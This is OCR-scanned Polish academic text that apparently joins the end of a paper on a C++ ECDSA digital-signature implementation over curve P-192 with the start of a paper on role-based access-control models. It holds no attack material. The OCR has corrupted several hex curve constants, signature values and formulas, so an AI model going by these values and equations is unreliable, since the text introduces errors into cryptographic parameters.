gramistyczne oraz przyczynia si¢ do uproszczenia kodu i zwigksze-
nia jego przejrzystosci,

2. jezyk ten pozwala w prosty sposob stosowaé¢ wskazniki, ktére bedg
miaty wazne zastosowanie w tworzonym oprogramowaniu,

3. kompilator jezyka C++ jest bardzo efektywny, co pozwala na two-
rzenie bardzo optymalnego kodu,

4. jest to jezyk powszechnie znany, co ulatwi innym programistom
korzystanie ze stworzonych klas, a takze wprowadzanie niezbgdnych
poprawek.

9. Reprezantacja duzych liczbh

Ze wzgledu na duze mozliwosci obliczeniowe komputerow we
wspodlczesnej kryptografii klucze, ktére maja by¢ w bezpieczny sposéb
wykorzystywane, muszg mie¢ do$¢ znaczna dhugos¢. W amerykanskim
standardzie podpisu cyfrowego DSA klucze powinny mie¢ diugos¢ okolo
160 bitow. Zaden z typéw catkowitoliczbowych nie pozwala na przecho-
wywanie tak duzych liczb, dlatego tez niezbedne jest stworzenie odpo-
wiedniego obiektu, ktory bedzie w stanie takic liczby przechowywac.
Obicktem tym bedzie klasa DuzLicz, w kidrej bedzie tablica stuzaca do
fizycznego przechowywania liczby. Ponadto znajdg si¢ tam rdéwniez
funkcje stuzace do zarzadzania liczba, a takze do wykonywania wszyst-
kich niezb¢dnych dzialan. Takie podejscie jest w pelni zgodne z filozofig
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programowania obiektowego, co pocigga za sobg wszystkie korzysci wy-
nikte z jego stosowania. W jgzyku C++ istnieje dos¢ prosty sposdb two-
rzenia tablic dynamicznych, ktére rezerwowaltyby tylko tyle miejsca, ile
naprawdg jest potrzebne do przechowywania danej liczby. Taki mecha-
nizm jest bardzo ekonomiczny i zuzywa minimalng ilo$¢ pamigci.
Gtéwng wadg natomiast jest to, ze jest on bardzo kosztowny pod wzgle-
dem wykorzystania czasu procesora. Z tego wzgledu reprezantacja liczb
zostala zrealizowana na podstawie preferencji wykorzystania prostszego
i przede wszystkim szybszego sposobu reprezentacji liczb w postaci tablic
o statej wielkosci.

Bardzo wazne jest to, aby dziatania na duzych liczbach zostaly
przedstawione przez kompilator w taki sposob, by najlepiej przystosowac
je do arytmetyki rejestrow procesora. Do reprezentacji duzych liczb uzyto
typu unsigned short (UShort), ktory jest typem 16-bitowym. Typ unsi-
gned long (ULong) jest typem 32-bitowym, co w zupetnosci wystarcza do
reprezentacji wynikow dzialan na zmiennych typu UShort. Oznacza to, ze
prawdziwa jest nier6wno$¢ UShort x UShort < Ulong [7].

Nastepng wazna rzeczg jest kolejno$¢ wystgpowania cyfr w danej
liczbie. Istnieja dwie mozliwosci: bajty mniej znaczace zajmujg poczat-
kowe elementy tablicy albo bajty bardziej znaczace zajmuja poczatkowe
miejsca w tablicy. Drugi sposob jest podobny do standardowego sposobu
przedstawiania liczb. Natomiast pierwszy sposob wydaje si¢ lepszy przy
wykonywaniu dziatan, gdyz wraz z przesuwaniem si¢ wskaznika poka-
zuje on na coraz bardziej znaczace cyfry danej liczby. Pierwszy element
w takiej tablicy przechowuje informacje o dtugosei liczby. Duze liczby
beda przechowywane w nastepujacy sposob:

n = (Ininz...n)p , 0 <ISMAXCYFRY, 0 <m<B,i=1,..,]

gdzie B jest podstawa liczby w reprezentacji numerycznej. Wartos¢ pod-
stawy B wynosi 216 = 65536, a stata MAXCYFRY okresla maksymalng
iloé¢ pozycji liczby w klasie DuzLicz. Wartos¢ liczby n przechowywane;
w obiekcie typu DuzLicz jest obliczana jako
liczbal0] .
n= liczba[i]B"™ | dla liczba[0] > 0,
i=l

w pozostatych wypadkach n =0 [7].

Klasa DuzLicz zwiera funkcje arytmetyczne (wraz z arytmetykg mo-
dularng), bitowe, logiczne oraz funkcje z zakresu teorii liczb. Na pod-
stawie tej klasy zostala stworzona klasa EcDsa. Do zadan tej klasy nale-
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za: generowanie kluczy, generowanie podpisu oraz weryfikacja podpisu.
Najpierw dla funkcjonowania calego systemu musimy okresli¢ krzywa
eliptyczng oraz pewne parametry z nig zwigzane. Sg to elementy stale dla
calego systemu, a takze powszechnie znane.

Wybdr odpowiedniej krzywej jest problemem niezwykle istotnym ze
wzgledu na bezpieczenstwo calego systemu. Dlatego tez National Insty-
tute of Technology w dokumencie ANSI X9.62 rekomenduje 15 krzy-
wych eliptycznych, ktére zapewniajg wysoki stopien bezpieczenstwa.
W tworzonym oprogramowaniu zostanie wykorzystana jedna z tych krzy-
wych o nazwie CURVE P-192, kt6ra ma nastepujace parametry [5]:

e liczba pierwsza P, ktéra okrela ciato F, — P =2'-2% 1=
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFF

e liczby a, b € [, definiujace krzywa eliptyczng dana rownaniem (3):
a) a: -3
b) b: 64210519E59C80E70FA7E9AB72243049FEBSDEECC146B9B1

e liczba pierwsza q, bedg dzielnikiem rzedu N krzywej eliptycznej E:
FFFFFFFFFFFFFFFFFFFFFFFFO9DEF836146BCI9B1B4D22831

e punkt P = (x,y) generujacy grupe cykliczng rzedu g
(188DASOEB03090F67CBF20EB43A18800F4FFOAFD82FF1012,
07192B95FFC8DA78631011ED6B24CDDS573F977A11E794811)

Krzywa nie jest zawarta w oprogramowaniu, ale jest pobierana z pliku,
dlatego tez w trakcie dziatania aplikacji mozemy poda¢ dowolng krzywa.

Na podstawie definicji 2 mozna wyprowadzi¢ nastgpujace wzory na
dodawanie dwoch punktow krzywej eliptycznej P + Q = R (P = (x1, y1)s
Q= (x2,¥2), R=(x3,y3)):

1. gdyP=Q-
2
X3 = [lz-?-y—‘J - X1 - X2;
X, X,
Y2 =Y
I
2. gdyP=Q-
“[Ex_z:_ﬁ] i
X3 2y| - ZX|1,

3x! +a

ys=-yi+ [—2;‘} (X1 — X3).
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Mnozenie liczby a € [, i punktu P nalezacego do krzywej eliptycz-
nej E definivjemy jako a-krotng sume elementu P. Jednak algorytm
polegajacy na dodaniu punktu P a razy bylby bardzo czasochlonny.
Dlatego mozemy si¢ postuzy¢ duzo bardziej efektywnym algorytmem.

Niech reprezentacja binarna liczby a ma postac:

a=a2"+a,..2"" +..+ a121 + agp, a, = 1.

Wowezas algorytm obliczania iloczynu aP wyglada nastepujaco:

R = 0O;
for ( 1 = n; i>=0; i--)
{
R =R + R;
if (afi] == 1)
R =R + P;
}

Z wykorzystaniem tych wzordw zostaly w klasie EcDsa zaimple-
mentowane dwa dzialania niezbgdne przy tworzeniu oraz weryfikacji
podpisu. Mianowicie dodawanie oraz mnozenie.

Na podstawie powyzszych klas zostalo stworzone oprogramowanie,
ktore bedzie wykorzystywane w generowaniu, sktadaniu oraz weryfikacji
podpisu cyfrowego.

Przyklad prezentujacy funkcjonowanie oprogramowania
Okno programu do generowania kluczy przedstawia rys. 1.

S Krzywa eﬁpiyd_izgia@_- i s

p-liczba pierwsza FFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFF FFFFFFF
a - wspolczynnik przy x 3

b - wyraz wolny 6421 0519E59CB0EPOFAZESAB72243049FEBSDEECCT 458981
q-rzgd punkiu P FFFFFFFFFFFFFFFFFFFFFFFFS3DEFB361 468C88184022831

22 Ik - wepdirzedna x punkiu P 188DAB0EB03090F67 CBF20EB43A1 8800FAFFOAFDE2FF1012
-wspélrzedne y punkiy P 07192B95FFCBDA7363101 1EDEB24C0OD573F977A1 1E794811

o GeneryjKlugze -

.. Kluez prywatny
1136741 66442d2eadcEe/550
... Kluez publiczny

1. (963426 3860425129506c1 2 98015lec3dbB099c 8632 , BE5cA13d220613ecbd21 0958eo1c2SbAT7de 00T 28b0726)

Rys. 1. Generowanie kluczy
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Pierwsza czynnos$cig, jaka nalezy wykonaé, jest wygenerowanie pary
kluczy: prywatnego i publicznego (rys. 1). Po nacisnigciu przycisku ,,Ge-
neruj klucze” otwiera sie okienko dialogowe, w ktérym nalezy poda¢ plik
z krzywg eliptyczng. Wygenerowane klucze nalezy zapisaé w pliku. Po
tej czynnosci juz mozemy korzysta¢ z dwéch kolejnych czgsci oprogra-
mowania: programu generujacego oraz weryfikujacego podpis.

W programie stuzacym do generowanie podpisu w polu memo (naj-
wigksze pole edycyjne) mozemy recznie wpisaé wiadomos$¢ lub wezytaé
ja z pliku. W naszym wypadku jest to tekst: ,,A pozycza B 100 zt”, ktory
jest tre$cig umowy miedzy panem A a panem B. Korzystajac z menu ,,ge-
nerowanie podpisu”, powyzszg umowe podpisujemy, a nastgpnie wraz
z podpisem zapisujemy. Podpis jest parg liczb i wyglada on w systemie
szesnastkowym nastepujaco:

(16e80817d6595e59dc13a%ef9b4121c22ef5a110d6c4035,
820bec61a903ff965a5964bc897b00b74167987c¢08c012ba)

Uzytkownik B checgey stwierdzi¢ autentyczno$é umowy oraz ziozo-
nego pod nig podpisu wykorzystuje program do jego weryfikacji. Wczy-
tuje on z pliku do programu klucz publiczny uzytkownika A. Wezytuje on
takze, korzystajac z menu ,weryfikacja podpisu”, tre§¢ umowy wraz
z podpisem. Teraz po nacis$nigciu przycisku ,,weryfikuj podpis” mozemy
zobaczy¢ informacje ,,PODPIS ZGODNY?”, co informuje o zgodnosci
podpisu i umowy albo ,,PODPIS NIEZGODNY?”, co informuje o nie-
zgodnosci podpisu lub umowy. W naszym przypadku podpis zostal zaak-
ceptowany.

i Weglikacia

© Werglkaciy

L0 Wiadomosc
Fa A potyeza B 100z

Wenrylikuj podpis

PODPIS ZGODNY

Rys. 2. Weryfikacja podpisu — podpis zgodny
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Zatozmy, ze uzytkownik A zmienil tres¢ umowy, zawyzajac kwotg
pozyczki ze 100 zt na 200 zt. Wtedy osoba B poprzez wcisnigeie przycis-
ku ,,weryfikuj podpis” dowiaduje sie, ze podpis nie jest zgodny z trescig
umowy. Jezeli inny uzytkownik C bedzie cheiat podszy¢ si¢ pod uzytko-
wnika A, podpisujac umowe, to osoba B poprzez wecisnigcie przycisku
wweryfikuj podpis” wykryje falszerstwo. Podpis cyfrowy gwarantuje wigc
autentycznos¢ umowy oraz zlozonego pod nig podpisu. Wszelkie proby
sfalszowania umowy badZ podpisu zostang wykryte w procesie weryfi-
kacji. Zmiana wartosci kwoty ze 100 zt na 200 zt powoduje wiec narusze-
nie autoryzacji a tym samym odrzucenie podpisu.

Podsumowanie

Podpis cyfrowy jest odpowiednikiem recznego sposobu podpisywa-
nia dokumentéw. Zapewnia on przede wszystkim: autentycznos¢ doku-
mentu, identyfikacje nadawcy oraz niezaprzeczalno$¢. Jakakolwiek zmia-
na w umowie badZ podpisie zostanie wykryta w etapie weryfikacji, co
uniemozliwia sfalszowanie umowy czy podpisu. Bezpieczenstwo podpisu
cyfrowego zalezy od trudnosci obliczeniowej metody, na ktorej opiera si¢
podpis. To bezposrednio przektada sig¢ na dlugos¢ kluczy, od ktorego
dhugos$ci zalezy efektywno$¢ algorytmu. Dlatego tez nowe algorytmy
generowania podpiséw poszukujg nowych metod. Najbardziej obiecujace
sq prace nad krzywymi eliptycznymi, ktére m.in. pozwalaja na zmniejsze-
nie dtugosci klucza, a takze daja wieksza swobod¢ w wyborze grupy.
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Zarzadzanie obiektami danych
w modelach kontroli dostepu opartych na rolach

Krystian Matusiewicz

Przydatno$¢ komputerow jako narzedzi shuzgcych do gromadzenia
i przetwarzania danych spowodowata, ze obecnie ogromna ilos¢ rézno-
rodnych informacji, czesto o duzej wartosci, jest gromadzona w postaci
elektronicznej. Jednoczesnie ogdlna dostepnosé Srodkow elektronicznej
komunikacji spowodowala, ze coraz wiecej informacji jest wymienianych
pomigdzy réznymi systemami i coraz wiecej zasobow dostgpnych jest dla
wielu potencjalnych uzytkownikow.

Sytuacja, w ktorej wielu uzytkownikéw ma dostgp do danych, powoduje
powstawanie probleméw ochrony informacji przed nieautoryzowanym
dostegpem. W takiej sytuacji konieczno$cia jest opracowanie mechanizmow
pozwalajacych na przydzielanie badz odmowe dostgpu do danych zgodnie
z przyjetymi regutami polityki bezpieczefistwa informacji. Centralng ich czgscig
jest mechanizm kontroli dostepu (ang. access control), ktory na podstawie tego,
kto i do jakiej informacji zada dostepu, decyduje, czy dostep ten przyznac, czy
nie. Wynika stad, ze mechanizm kontroli dostgpu jest jednym z kluczowych
czynnikéw decydujacych o bezpieczenstwie systemu informatycznego.

1. Modelowanie mechanizméw kontroli dost¢pu

1.1. Podstawowe pojecia

Srodowisko komputerowe moze byé rozumiane jako zbiér zasobéw
wspoldzielonych przez dzialajace w systemie procesy [12]. Zbiér ten za-
wiera zarOwno zasoby sprzetowe (pamigé systemu, pamig¢ dyskowa,
urzadzenia I/0O), jak i programowe (programy, pliki danych).
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Procesy (dzialajace programy) wykorzystujg zasoby w trakcie swo-
jego dziatania. Z punktu widzenia bezpieczenstwa giéwnym zadaniem
systemu operacyjnego jest kontrolowanie, ktore procesy moga mie¢ do-
step do jakich zasobdw.

W podobny sposdb mozna analizowaé rozproszone systemy kompu-
terowe, w ktorych dane sg przechowywane w réznych hostach, a wy-
miana informacji odbywa si¢ poprzez sie¢. Tu réwniez za jeden z naj-
wazniejszych z punktu widzenia bezpieczenstwa mechanizmdéw nalezy
uzna¢ kontrol¢ dostgpu do zasobow [9].

W celu teoretycznej analizy interakcji pomigdzy procesami i zaso-
bami wprowadzimy nastepujace okreslenia.

Obiektami systemu nazywamy elementy zachowujace si¢ w sposéb
pasywny. Przez zachowanie pasywne rozumiemy, ze dany obiekt systemu
moze gromadzi¢ dane, uwidaczniaé je, ale sam obiekt nie podejmuje zad-
nych akcji. Przyktadem obiektow pasywnych sa pliki z danymi.

Podmiotami systemu nazywamy elementy systemu zachowujace si¢ w
spos6b aktywny. Zachowanie aktywne polega na przeksztalcaniu infor-
magcji, zmienianiu stanu obiektéw pasywnych 1 tworzeniu nowej informacji
w systemie. Przykladem podmiotow w systemie sg procesy (uruchomione
programy), czesto reprezentujace pracujacych w systemie uzytkownikéw.

Pojedyncze (w sensie niezalezno$ci od innych) mozliwe do uzyska-
nia prawa, jakie moze posiada¢ podmiot do obiektu, bedziemy nazywac
prawami rodzajowymi.

Interakcje pomigdzy elementami sktadowymi systemu oraz role me-
chanizmu kontroli dostgpu ilustruje rys. 1.

Mechanizm
kontroli dostgpu

Podmioty Obiekty
0O @
(2] e
o w
5 |1
()
Gj* @

Rys. 1. Elementy skladowe modelu kontroli dostepu

-




Zarzqdzanie obiektami danych w modelach kontroli dostepu 71

W trakcie pracy systemu podmioty wystepuja z zadaniem odpowied-
niego rodzaju dostgpu do zasobow (obiektow). Mechanizm kontroli na
podstawie ustalonych zasad oraz tego, kto, jakiego rodzaju i do czego
zada dostgpu, przyznaje go badz tez nie. Zasady, wedtug ktérych powi-
nien dziata¢ mechanizm, wynikajq z obowigzujacej w systemie polityki
bezpieczenstwa.

Polityka bezpieczenstwa okresla, ktére dzialania w systemie sa le-
galne. Jest to okreslenie wymagan co do bezpieczefistwa na najwyzszym
poziomie abstrakcji. Wymagania te sa uszczeg6lawiane na nizszych po-
ziomach, w szczeg6Inosci na poziomie modelu kontroli dost¢pu.

Mozna wigc powiedzie¢, Ze na poziomie polityki bezpieczenstwa ustana-
wiane sa cele, a modele s konkretnym rozwigzaniem, na ktérym sprawdzi¢
mozna, czy dany mechanizm kontroli dost¢gpu ma pozadane wiasnosci. Osta-
tecznie wymodelowany i zweryfikowany pod katem zgodnosci z zalozeniami
polityki bezpicczenstwa mechanizm jest implementowany w postaci rozwiazan
programowych badz sprzetowych. Wida¢ stad, ze teoretyczna analiza wlasnosci
poszczegdlnych modeli mechanizméw kontroli dostgpu jest jednym z kluczo-
wych zadan w procesie budowania zaufanego systemu informatycznego.

1.2. Kryteria oceny modeli kontroli dostgpu

W wypadku poréwnywania modeli kontroli dostgpu musimy okresli¢
cechy, wzgledem ktdérych bedziemy dokonywaé tego poréwnania. Wyda-
je sig, ze szczegOlnie wazne sa trzy aspekty modelu kontroli dostepu:

1.  Mozliwo$é wyrazenia pozadanej polityki bezpieczenstwa — c¢zy mo-
del jest w stanie odzwierciedli¢ w dzialaniu zalozenia przyjete w mo-
mencie okreslania polityki bezpieczenstwa. Przykladowo, jesteSmy
zainteresowani, czy dany model jest w stanie dziata¢ zgodnie z poli-
tyka obowigzkowej kontroli dostepu do zasobow.

2. Wiasnosci bezpieczenstwa, ktére mozna weryfikowa¢ w oparciu
o model — to stwierdzenia dotyczace pewnych wiasnosci bezpieczen-
stwa systemu, ktére mozemy udowodni¢ na podstawie podanego
modelu. Jako przyklad mozna podaé tu pytanie o mozliwos¢ kontroli
nad propagacja uprawnien w systemie.

3. Skalowalno$¢ rozwigzania — chcemy, aby model nadawal si¢ do
zastosowania w systemach duzej skali, co pociaga za sobg koniecz-
nos¢ przystosowania do rozproszonego administrowania oraz zapew-
nienia odpowiedniej wydajnosci.

Mniej interesujgca z teoretycznego punktu widzenia, ale za to
ogromnie wazna w praktyce cecha modelu jest takze mozliwa do osig-
gnigcia funkcjonalnos$é systemu zbudowanego w oparciu o dany model.
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Wielkim wyzwaniem jest projektowanie i tworzenie systemdéw, w ktorych
konflikt miedzy bezpieczenstwem a funkcjonalnoseig jest mozliwie zmi-
nimalizowany. Oczywiscie nie jest mozliwe catkowite wyeliminowanie
wplywu zatozonego wysokiego stopnia bezpieczenstwa informacji na
inne aspekty jego dziatania, gdyz cz¢sto z samej definicji niektore wy-
godne dla uzytkownikdéw rozwigzania s nie do przyjecia w bezpiecznym
systemie. Nalezy jednak zwracaé uwage, czy teoretycznie wypracowane
ograniczenia zaimplementowane w systemie nie stanowig powaznego
czynnika zmniejszajacego ergonomi¢ pracy uzytkownikéw. Moze to bo-
wiem skutkowaé probami obchodzenia przez uzytkownikéw zaprojekto-
wanych mechanizmow bezpieczenstwa.

2. Przeglad cech istniejgcych modeli

Pokrétce przedstawione zostang teraz najwazniejsze cechy po-
wszechnie stosowanych modeli kontroli dostepu.

2.1. Uznaniowa kontrola dostepu

Modele z uznaniowg kontrola dostepu (ang. discretionary access
control, DAC) pozwalaja wilascicielowi obiektu na decydowanie o tym,
komu przyznaé¢ prawa dostepu do niego. Z tego tez powodu stosuje si¢ je
czesto w praktyce. Jednak majg one pewne istotne ograniczenia dotyczace
mozliwego do osiggniecia poziomu zabezpieczenia systemu przed prze-
ciekiem informacji, dlatego w szczego6lnie wrazliwych systemach ich sto-
sowanie moze by¢ niewskazane.

Najpowszechniejszym modelem tej rodziny jest model macierzy do-
stepu [5, 8], ktdrej wiersze sg indeksowane zbiorem podmiotéw, a kolum-
ny zbiorem obiektéw. Prawa podmiotu s do obiektu o sa zawarte w ko-
morce macierzy indeksowanej przez parg (s, 0).

Jest to model powszechnie stosowany w praktycznych zastosowa-
niach ze wzgledu na swojg prostote i przejrzystosé, jednak ma on po-
wazne teoretyczne ograniczenia. W pracach [6, 7] pokazano, ze w takim
modelu problem propagacji praw dostgpu jest czgsto nierozstrzygalny, a
zawsze bardzo trudny obliczeniowo. W systemach bazujacych na modelu
macierzowym nie ma wigc mozliwosci $ledzenia, w jaki sposéb infor-
macja rozprzestrzenia si¢ w systemie. Kolejna wada jest tez brak mecha-
nizmow rozproszonego administrowania.
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2.2. Obowigzkowa kontrola dostepu

W systemach, w ktorych konieczna jest stala kontrola nad rozprze-
strzenianiem si¢ informacji, czgsto stosowana jest polityka obowigzkowej
kontroli dostepu. Idea lezaca u podstaw tego typu modeli jest zalozenie,
ze informacja moze przeptywac ,,w jednym kierunku”, tzn. od obiektow
o nizszej klasyfikacji tajnosci do obiektow o wyzszym stopniu tajnosci.
Dzigki temu Zadna tajna informacja nie zostanie przekazana do obiektu
o mniejszym stopniu tajnosci. Widaé, ze decyzja o tym, jaka jest
klasyfikacja obiektu czy podmiotu, musi by¢ okreslona ,,0dgérnie”,
a ponadto uzytkownik nie ma mozliwosci modyfikacji swoich uprawnien.
Stad nazwa tego typu systemow — obowigzkowa kontrola dostgpu (ang.
mandatory access control).

Najbardziej znanym modelem zgodnym z polityka obowigzkowe;j
kontroli dostepu jest model Bell-LaPadula [1]. Teoretyczne podstawy
tych modeli oraz ich zwigzek z przeptywem informacji zostal przeanali-
zowany w pracy [2].

Najwazniejsza zaleta tej rodziny modeli jest kontrola nad rozprze-
strzenianiem sie informacji w systemie. Przeptyw informacji tylko ,,w go-
re” poziomow tajno$ci wymusza sam mechanizm kontroli dost¢pu. Inna
zaletg jest mozliwo$¢ wyrazenia rOwniez niektérych innych polityk bez-
pieczenstwa [13].

Wadami sa natomiast nieprzystosowanie do rozproszonego admini-
strowania oraz szybki wzrost liczby pozioméw bezpieczenstwa koniecz-
nych do odwzorowania bardziej skomplikowanych systemow.

2.3. Kontrola dostepu oparta na rolach (RBAC)

Fundamentalng obserwacja, jaka legla u podstaw tego mode]u kon-
troli dostepu, jest fakt, iz w wigkszo$ci organizacji prawa, jakie przystu-
guja pracownikowi, zaleza od stanowiska, czyli roli, jakg peini w orga-
nizacji, a nie od tego, jaka jest jego tozsamo$¢. Takie rozgraniczenie
pozwala na elastyczniejsze administrowanie prawami w systemie, gdyz
rozdziela etap przydzielania praw potrzebnych do wykonywania okreslo-
nych zadan od okreslania, kto zadania te ma wykonywac.

Modele kontroli dostepu oparte na rolach powstaly w latach 90.
Jedna z wezeéniejszych prac byta [3], jednak standardem stal si¢ model
przedstawiony przez Sandhu, Coyne i wspétpracownikéw w pracy [14].

Modele te maja najwiekszg site wyrazu, gdyz moga symulowaé za-
rowno uznaniows, jak i obowiazkowsa kontrolg dostgpu, co pokazano
w pracy [11]. Ponadto dzigki wprowadzeniu rél administracyjnych [15]
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stalo si¢ mozliwe rozproszone administrowanie systemem kontroli do-
stegpu. Nabieraja one tez coraz wigkszego znaczenia praktycznego, naj-
nowsza wersja systemu operacyjnego Solaris posiada mechanizmy kon-
troli dostgpu oparte na modelu RBAC, ponadto model ten najprawdopo-
dobniej zostanie przyjety jako standard NIST.

Do ciagle nierozwigzanych problemdw, jakie wskaza¢ mozna w wy-
padku kontroli dostgpu bazujacej na rolach, nalezy zaliczyé brak teo-
retycznych prac traktujagcych o kontroli rozprzestrzeniania si¢ informacji
w systemie dzialajgcym zgodnie z modelem RBAC. Kolejna wada jest
brak ulatwien w administrowaniu obiektami danych. W dalszej czesci
pracy przedstawiona zostanie propozycja rozwigzania tej kwestii.

3. Propozycja modyfikacji modelu RBAC

3.1. Opis modelu

Motywacja powstania niniejszego modelu byta che¢ doprecyzowania
modelu RBAC w celu jawnego okreslenia, w jaki sposob dzialajace
w systemie podmioty moga mie¢ dostep do obiektéw. Ponadto poniewaz
w modelu RBAC nie ma mowy o obiektach, nie ma rozwinigtych zad-
nych mechanizmoéw ulatwiajacych administrowanie przydzielaniem praw
do poszczego6lnych obiektow. Oczywiste jest, ze potrzebne sa konstrukcje
ufatwiajace to zadanie, gdyz w wypadku systemu, w ktérym liczba
obiektéw z danymi liczona jest w dziesigtkach tysigcy, bez zarzadzania na
wyzszym poziomie abstrakcji system przestaje by¢ praktycznie funkcjo-
nalny. Jednoczesnie wprowadzony model powinien by¢ mozliwie ogélny,
stanowi¢ raczej pewne ramy, ktére mogg by¢ modyfikowane 1 precyzo-
wane w miar¢ potrzeb konkretnego zastosowania. Dlatego tez do modelu
wprowadzono pojecie domen, czyli wyrdznionych podzbioréw zbioru
obiektow. Prawa, jakimi dysponujgq role, nie sa teraz prawami do
poszczegllnych obiektow, ale do calych domen. Prawa do konkretnego
obiektu sg suma praw, jakimi dysponuje rola do wszystkich domen zawie-
rajacych ten obiekt. Dzigki temu administrowanie prawami do obiektéw
jest podzielone na dwa etapy, przypisanie obiektéw do wlasciwych im
domen i ustalenie, jakie prawa maja role do poszczegdlnych domen. Bar-
dziej szczegdlowa analiza pomystu grupowania obiektéw w kontekscie
mechanizméw kontroli dostepu zostata przedstawiona w [10].
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3.2. Elementy skladowe

Podstawowymi elementami modelu sg uzytkownicy, obiekty 1 podmio-
fy oraz prawa, role i domeny. Wigkszo$¢ z nich ma znaczenie takie jak
w klasycznych modelach RBAC czy DAC.

Uzytkownicy reprezentuja ludzi badZz pewne autonomiczne mechani-
zmy korzystajace z systemu w okreslonym celu. Zbiér uzytkownikow
oznaczymy przez U.

Obiekty sq pasywnymi elementami systemu, ktdrych zadaniem jest
przechowywanie danych. Przyktadami obiektow sg pliki. Zbior obiektow
w systemie oznaczymy przez O.

Podmioty sg aktywnymi elementami systemu, ktérych zadaniem jest
przetwarzanie informacji, a co za tym idzie, modyfikacja stanu innych
obiektow lub podmiotéw. Podmioty mozna rozumie¢ jako dziatajace pro-
cesy. Podmioty dzialaja ,,w imieniu” uzytkownika, tzn. kazdy podmiot
ma uzytkownika, z ktorego inicjatywy powstat dany podmiot. Zbiér pod-
miotoéw be¢dziemy oznaczaé przez S.

W systemie mogg by¢ okreslone réznego rodzaju prawa, jakie moze
mie¢ podmiot do obiektu.

Prawa okreslaja, jakiego typu operacje moze wykona¢ podmiot na
obiekcie. Zazwyczaj do praw zalicza si¢ czytanie, pisanie, dopisywanie,
tworzenie, usuwanie i inne. Mozliwy zbiér praw zalezy od przeznaczenia
konkretnego systemu.

W naszym wypadku zbidr praw sktada si¢ z dwdch roztgcznych pod-
zbiordw — zbioru praw plikowych (a wiec praw okreslajgcych mozliwe do
wykonania operacje plikowe) oznaczonego przez Pr oraz zbioru praw
administracyjnych (okreslajacych prawa do zmiany parametréw mechani-
zmu kontroli dostepu, takich jak zbiory uzytkownikéw, domen czy rél)
oznaczonego przez P4. Ostatecznie:

P=P.UP,

Role sa pojeciem pozwalajgcym opisaé, jakie zadania ma peinié
uzytkownik i pozwalajacym na przypisanie praw potrzebnych do wyko-
nania tych zadan. Zbior rél oznaczymy przez R.

Zupelnie nowym pojeciem modelu sa domeny. Stuzg one do wyrdz-
niania grup obicktéw o wspolnym przeznaczeniu lub wlasciwosciach.
Domena to po prostu wyrdzniony zbiér obiektow. Zbiér domen ozna-
czymy przez D. W modelu kazdy obiekt moze naleze¢ do wielu domen.
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3.3. Powigzania migdzy elementami

Wilasciwym jadrem modelu sq powigzania, jakie wystepujg migedzy
elementami sktadowymi modelu i realizujg jego funkcjonalnosé.

Kazdy uzytkownik moze mie¢ przydzielony pewien zestaw rol. Jest
to realizowane za pomoca funkcji

p:U—2"

ktora uzytkownikowi u € U przyporzadkowuje pewien podzbidr rél, kté-
re pelni on w systemie.

Symetrycznie, kazdy obiekt nalezy do pewnej liczby domen, okre$la
to funkcja

5:0-27,

ktdra dla obicktu 0 € O podaje podzbiér domen, do ktorych nalezy ten obiekt.

Istnienie kazdego procesu jest inicjowane przez pewnego uzytkownika,
zatem dla kazdego podmiotu systemu okreslamy, na rzecz ktoérego uzytkow-
nika dziata dany podmiot. W modelu realizowane jest to za pomoca funkcji

c:S->U,

ktora zwraca uzytkownika, na rzecz ktorego dziata podmiot. Zauwazmy,
ze poniewaz podmiot dziala na rzecz pewnego uzytkownika, mozna
powiedzie¢, ze przynalezqg mu role, ktore peli uzytkownik za niego
odpowiedzialny. Zatem zestaw rél, z ktérych moze skorzysta¢ podmiot s,
okreslony jest jako \rho(c(s)).

Fundamentalne znaczenie ma funkcja, ktéra parom (rola, domena)

przyporzadkowuje zestaw praw plikowych. Jest to funkcja

he : RxD = 277,
ktora okresla zestaw praw, jakimi dysponuje dana rola do danej domeny.
Zmiana tej funkcji oznacza wplyw na konfiguracje mechanizmu kontroli
dostgpu. W podobny sposéb okreslamy funkcje, ktéra dla kazdej roli
okresla podzbiér praw administracyjnych. Zauwazmy, ze prawa ad-
ministracyjne nie sg bezposrednio zwigzane z jaka$ domeng czy plikiem,
a zatem sg one przyporzadkowane tylko okreslonej roli. Jest to realizo-
wane za pomoca funkcji
h,:R—>2",

Uzytkownik moze mie¢ wiele rdl, a obiekt moze naleze¢ do kilku
domen, dlatego trzeba jeszcze zdefiniowaé funkcje, ktdra bedzie zbiorom
r6l i zbiorom domen przyporzgdkowywaé zbiory praw. Naturalne wydaje
si¢ sumowanie praw po wszystkich rolach i domenach, zatem rozwazaé
bedziemy funkcje

H, :2%%2R 2%,
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gdzie
He(R,D)=J |J ke (r,d):

We wzorze tym sumowanie odbywa si¢ po wszystkich rolach » € R.
Dla kazdej roli » znajdowana jest suma praw plikowych po wszystkich
domenach, do ktérych dana rola ma jakie$ uprawnienia. Majac powyzsze
wzory, prawa plikowe podmiotu do obiektu okreslamy jako prawa, ktore
wynikajg z praw rél uzytkownika podmiotu do domen, w ktorych znaj-
duje si¢ obiekt. Mamy wiec do czynienia z funkcja dostepu

A:Sx0->2",
okreslong jako

A(s,0) = H . (p(c(5)),6(0)).

Dodatkowo, kazdemu podmiotowi przyporzadkowane moga by¢
pewne prawa administracyjne w zaleznosci od przydzielonego mu pod-
zbioru rél. Sg one okreslone jako

Hy(s)= |Jh, ).
rep(e(s))

Ostatecznie aktualna konfiguracja systemu ochrony okreslona jest
poprzez szostke

(U, RDO,AH,).

Dziatanie modelu (uwzgledniajace tylko prawa plikowe) obrazuje
rys. 2. Biorac pod uwage powiazania przedstawione na rysunku, podmio-
towi s, przystuguja prawa {x,w} do obiektu o,, gdyz whascicielem pod-
miotu jest uzytkownik u#, z przydzielonymi rolami #,r. Rola  ma
przyporzadkowane prawo r do obiektéw domeny D;, a rola »; ma przypo-
rzadkowane prawa {r, w} do obiektéw domeny D; (w tym wlasnie o;).

3.4. Analiza cech modelu

Pierwszg cecha modelu odrézniajaca go od RBAC jest jawne wyste-
powanie w nim pojecia obiektow systemu, rozumianych tak jak w mode-
lach DAC czy MAC. |

Nowe pojecie domen uogélnia klasyczny model RBAC. Jezeli bowiem
dla kazdego obiektu systemu tworzylibysSmy odpowiadajaca mu domeng
zawierajaca tylko ten obiekt, otrzymaliby$my symulacje zwyklego modelu
RBAC. Jednak poprzez grupowanie obiektow w domeny uzyskujemy
mozliwoé¢ przydzielania praw do catych zbioréw obiektow jednoczesnie.
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Rys. 2. llustracja powiqzan migdzy elementami modelu

